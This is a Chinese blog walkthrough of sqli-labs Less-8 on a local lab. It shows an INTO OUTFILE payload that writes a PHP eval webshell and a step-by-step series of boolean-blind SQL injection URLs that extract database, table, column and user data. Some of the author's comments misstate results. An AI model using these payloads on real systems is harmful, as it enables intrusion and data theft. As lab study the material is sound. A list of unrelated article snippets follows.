sql注入第8关

手工注入麻烦

目录

判断闭合方式

判断注入类型

手工注入

1、获取数据库名

2、爆破数据库的名字(security)

3、爆破表的数量

4、判断表名的长度

5、判断表的列名数量

6、判断表的列名的名字

7、获取表的数据

8、判断数据的长度

9、判断数据的值


判断闭合方式

为单引号闭合

判断注入类型

报错不提示报错信息,不适宜用报错注入,

不返回任何信息,不适宜联合查询

那就只能用布尔盲注了,因为错误返回错误页面,正确返回正确页面

上一关是可以直接写入文件,试了一下这一关也是可以直接写入后门代码,然后用蚁剑去连接

那个写入文件只需要满足结果条件就可以了

1、secury为空

2、是root高权限用户

先试一下直接写入一句话木马,可以看出写入成功

http://sql-labs:8888/Less-8/?id=1' union select 1,'<?php @eval($_post["test"])?>',3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-8//6.php"--+

但是这关的目的一个是让我们使用布尔注入,内容来自这,具体看这两篇文章

sqli-labs第八关-布尔注入_51CTO博客_sqli-labs第二关icon-default.png?t=O83Ahttps://blog.51cto.com/u_15400845/4293172#_50CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客icon-default.png?t=O83Ahttps://blog.csdn.net/Xxy605/article/details/109750292

一、盲注思路
由于对数据库的信息了解甚少,盲注需要考虑多种情况,一般思路如下:1 爆库名长度
2 根据库名长度爆库名
3 对当前库爆表数量
4 根据库名和表数量爆表名长度
5 根据表名长度爆表名
6 对表爆列数量
7 根据表名和列数量爆列名长度
8 根据列名长度爆列名
9 根据列名爆数据值

手工注入

1、获取数据库名

?id=1' and length(database())=1--+    //查询数据库名字的长度

经过查询有八位

2、爆破数据库的名字(security)

http://sql-labs:8888/Less-1/?id=1' and substr(database(),1,1)='s' --+      //数据库第一个字符是s

http://sql-labs:8888/Less-1/?id=1' and substr(database(),2,1)='s' --+      //数据库第一个字符是e

3、爆破表的数量

http://sql-labs:8888/Less-1/?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=4 --+

查询到数据库表的数量有4张

4、判断表名的长度

这个语句不行,在上面那篇文章复制过来的,至于为什么不行,我不想去想了

http://sql-labs:8888/Less-1/?id=1' and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4 --+

正确语句

http://sql-labs:8888/Less-8/?id=1' and (select  length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+

第一张表名的长度

5、判断表的列名数量

http://sql-labs:8888/Less-8/?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='users')=3 --+

正确代码

http://sql-labs:8888/Less-8/?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

这里有问题,报错了,没查到任何数据,一直显示报错界面,没搞懂,下一个,我居然忘了可以直接百度找答案!找到答案了

6、判断表的列名的名字

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

判断第一列的第一个字母为i,这个有三列,id,username,password

不过爆列名数,为什么要在后面加上limit(0,1),因为爆表的数量的时候没加这个,爆列的数量就加了这个了

做不了了,这里也不知道做,我是按照那个ctfhub那个题目做的,按理来说应该也能做出来,不过要花点时间,不用花时间了,只需要思考一下就好了,但是也不想思考

7、获取表的数据

http://sql-labs:8888/Less-8/?id=1' and  (select count(*) from users)=13 --+

判断表的数据有13条数据

8、判断数据的长度

http://sql-labs:8888/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+

判断id的数据长度为1位

http://sql-labs:8888/Less-8/?id=1'   and  length((select username from users limit 0,1))=4 --+

判断username的数据长度为1位

9、判断数据的值

http://sql-labs:8888/Less-8/?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+

判断username的第一个值为D

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/445246.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Golang | Leetcode Golang题解之第464题我能赢吗

题目&#xff1a; 题解&#xff1a; func canIWin(maxChoosableInteger, desiredTotal int) bool {if (1maxChoosableInteger)*maxChoosableInteger/2 < desiredTotal {return false}dp : make([]int8, 1<<maxChoosableInteger)for i : range dp {dp[i] -1}var dfs …

点云深度学习模型PointNet

随着3D传感器&#xff08;如激光雷达、深度相机&#xff09;的广泛应用&#xff0c;点云数据已成为计算机视觉和机器人领域的重要数据形式。点云是一组在三维空间中具有 (x, y, z) 坐标的离散点的集合&#xff0c;用于表示物体的形状或场景。然而&#xff0c;由于点云的无序性、…

pycharm生成的exe执行后报错

元素 application 显示为元素 urn:schemas-microsoft-com:asm.v1^dependentAssembly (此版本的 Windows 不支持)的子元素。 日志名称: Application 来源: SideBySide 日期: 2024/10/8 14:14:12 事件 ID: 72 任务类别: 无 级别…

docker升级mysql

一、首选备份原数据库所有数据 二、在Docker中查看正在运行的MySQL容器名称&#xff0c;可以使用以下命令&#xff1a; docker ps --filter "namemysql" 三、查看当前docker中正在运行mysql的版本 docker exec -it qgz-mysql mysql -V 可以看到当前运行的版本是8.…

[C++]使用纯opencv部署yolov8-cls图像分类onnx模型

【算法介绍】 使用纯OpenCV部署YOLOv8-cls图像分类ONNX模型涉及几个关键步骤。 首先&#xff0c;你需要将YOLOv8-cls模型从PyTorch格式转换为ONNX格式&#xff0c;这是为了确保模型在不同深度学习框架之间的互操作性。这个转换过程通常是通过ultralytics框架中的model.export…

大数据-158 Apache Kylin 安装配置详解 集群模式启动

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…

C++刷怪笼(7)string类

目录 1.前言 2.正文 2.1标准库中的string类 2.1.1string类 2.1.2auto和范围for 2.1.3string类的常用接口说明 2.2string类的模拟实现 2.2.1经典的string类问题 2.2.2浅拷贝 2.2.3深拷贝 ​编辑 2.2.4写时拷贝 3.小结 1.前言 前面我们对C的封装这一大特性进行了详细…

【Flutter、H5、Web?前端个人总结】分享从业经历经验、自我规范准则,纯干货

前言 hi&#xff0c;正式接触web前端已经经过了两年的时间&#xff0c;从大学的java后端转型到web前端&#xff0c;再到后续转战Flutter&#xff0c;逐渐对前端有了一些心得体会&#xff0c;其实在当下前端的呈现形式一直在变化&#xff0c;无论你是用原生、还是web还是混编的…

吸毛效果好的宠物空气净化器分享,希喂、霍尼韦尔、米家实测

说起宠物空气净化器&#xff0c;几年前我可能会一脸鄙夷&#xff1a;为啥要花这种智商税冤枉钱&#xff1f; 直到之前养了一只猫&#xff0c;被家中乱飞的浮毛和滂臭的异味搞到头晕&#xff0c;于是作为i一个养宠的家电测评博主&#xff0c;索性对宠物空气净化器这玩意做了超级…

如何在银河麒麟服务器中获取关键日志信息

如何在银河麒麟服务器中获取关键日志信息 1、获取messages日志2、获取dmesg输出 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在银河麒麟服务器中&#xff0c;获取messages和dmesg日志是排查问题的重要步骤。 1、dmesg命令用于显示或控制…

PostgreSQL学习笔记二:PostgreSQL的系统架构

PostgreSQL 是一种功能强大的开源关系型数据库管理系统&#xff0c;其架构具有以下特点&#xff1a; 一、客户端/服务器架构 客户端 客户端可以是各种应用程序&#xff0c;如 Web 应用、桌面应用等&#xff0c;它们通过网络连接与 PostgreSQL 服务器进行通信。客户端使用标准的…

学习 PostgreSQL + Spring Boot 3 +mybatisplus整合过程中的报错记录

今天计划学习 PostgreSQL&#xff0c;并顺便尝试使用 Spring Boot 3.x 框架&#xff0c;打算整合 Spring Boot 3、PostgreSQL 和 MyBatis-Plus。整合后一直出现以下报错&#xff1a; 去AI上面搜了讲的是sqlSessionFactory 或 sqlSessionTemplate 没有正确配置 初始分析&#…

03 django管理系统 - 部门管理 - 部门列表

部门管理 首先我们需要在models里定义Dept类 # 创建部门表 class Dept(models.Model):name models.CharField(max_length100)head models.CharField(max_length100)phone models.CharField(max_length15)email models.EmailField()address models.CharField(max_length2…

【2024年10月测试通过】conda下使用虚拟环境安装最新版pytorch2.4+cuda12.4

开头先说重点&#xff1a; 1.采用conda的虚拟环境&#xff0c;会在沙盒环境下安装好所有所需包&#xff0c;而且该虚拟环境拷贝给其他人员可以直接用&#xff0c;很方便。 2.pytorch官网访问不了&#xff0c;有一个国内镜像推荐&#xff0c;地址为PyTorch - PyTorch 中文 3.…

怎么ping网络ip地址通不通

怎么Ping网络IP地址通不通&#xff1f;要检查网络中的IP地址是否连通&#xff0c;可以使用‌Ping命令。Ping命令通过发送ICMP&#xff08;Internet Control Message Protocol&#xff0c;因特网控制消息协议&#xff09;Echo请求报文并等待回应&#xff0c;来判断目标主机是否可…

MongoDB-aggregate流式计算:带条件的关联查询使用案例分析

在数据库的查询中&#xff0c;是一定会遇到表关联查询的。当两张大表关联时&#xff0c;时常会遇到性能和资源问题。这篇文章就是用一个例子来分享MongoDB带条件的关联查询发挥的作用。 假设工作环境中有两张MongoDB集合&#xff1a;SC_DATA&#xff08;学生基本信息集合&…

python发邮件附件:配置SMTP服务器与认证?

python发邮件附件技巧&#xff1f;Python发送多附件邮件的方法&#xff1f; Python作为一种强大的编程语言&#xff0c;提供了丰富的库和工具来实现这一功能。AokSend将深入探讨如何使用Python发邮件附件&#xff0c;并详细介绍配置SMTP服务器与认证的关键步骤。 python发邮件…

【Windows】【DevOps】Windows Server 2022平台启用WinRM实现远程powershell登陆 采用自签名证书开启HTTPS方案

快速配置开启WinRM(HTTP) quiciconfig 在目标服务器上&#xff0c;管理员权限启动powershell&#xff0c;执行指令 winrm quickconfig 输入y&#xff0c;完整日志如下 PS C:\Windows\system32> winrm quickconfig 已在此计算机上运行 WinRM 服务。 WinRM 没有设置成为了…

《Spring Microservices in Action, 2nd Edition》读后总结

总体来说有种时过境迁的感觉&#xff0c;有些章节的内容已经跟不上现在&#xff0c;特别对于云原生大行其道的当下&#xff0c; 越来越多东西下沉到基础设施层&#xff0c;然后应用层尽量轻量化成了一种新趋势&#xff1b;当然任何事物都具有多面性&#xff0c;云原生那套也要投…

vue3+vite@4+ts+elementplus创建项目详解

1、第一步创建项目cnpm init vite4 2、设置vue3.2局域网可访问配置&#xff1a; 找到项目路径下的package.json目录下找到script对象下面添加一下代码&#xff1a; "serve": "vite --host 0.0.0.0" 启动项目命令不在是dev而是&#xff1a;cnpm run serve 3…